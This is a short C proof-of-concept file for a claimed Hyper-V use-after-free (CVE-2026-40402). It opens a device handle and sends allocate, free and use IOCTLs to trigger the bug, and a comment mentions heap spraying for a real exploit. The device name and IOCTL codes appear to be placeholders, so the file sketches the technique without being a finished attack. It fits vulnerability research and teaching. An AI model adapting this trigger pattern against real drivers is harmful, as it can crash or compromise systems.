// Conceptual PoC for CVE-2026-40402 (Hyper-V UAF)
// This PoC demonstrates the trigger logic for a Use-After-Free vulnerability.
// It requires a vulnerable Windows Hyper-V environment.
#include <windows.h>
#include <stdio.h>
#define VULN_IOCTL_ALLOC 0x80002010
#define VULN_IOCTL_FREE 0x80002014
#define VULN_IOCTL_USE 0x80002018
int main() {
HANDLE hDevice;
DWORD bytesReturned;
char inputBuffer[0x100];
char outputBuffer[0x100];
printf("[*] Starting PoC for CVE-2026-40402...\n");
// 1. Open a handle to the vulnerable Hyper-V interface (Symbolic link)
hDevice = CreateFile("\\\\.\\HyperVVulnerableDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("[+] Device handle opened.\n");
memset(inputBuffer, 0, sizeof(inputBuffer));
// 2. Trigger allocation of the target object in kernel memory
printf("[*] Sending IOCTL to allocate object...\n");
DeviceIoControl(hDevice, VULN_IOCTL_ALLOC, inputBuffer, sizeof(inputBuffer),
NULL, 0, &bytesReturned, NULL);
// 3. Trigger the free of the object (The Vulnerability)
printf("[*] Sending IOCTL to free object...\n");
DeviceIoControl(hDevice, VULN_IOCTL_FREE, inputBuffer, sizeof(inputBuffer),
NULL, 0, &bytesReturned, NULL);
// 4. Use-After-Free: Attempt to use the freed object
// In a real exploit, this would be preceded by Heap Spraying to control the freed memory
printf("[*] Sending IOCTL to trigger UAF...\n");
DeviceIoControl(hDevice, VULN_IOCTL_USE, inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
printf("[+] PoC executed. Check for BSOD or kernel debugger output.\n");
CloseHandle(hDevice);
return 0;
}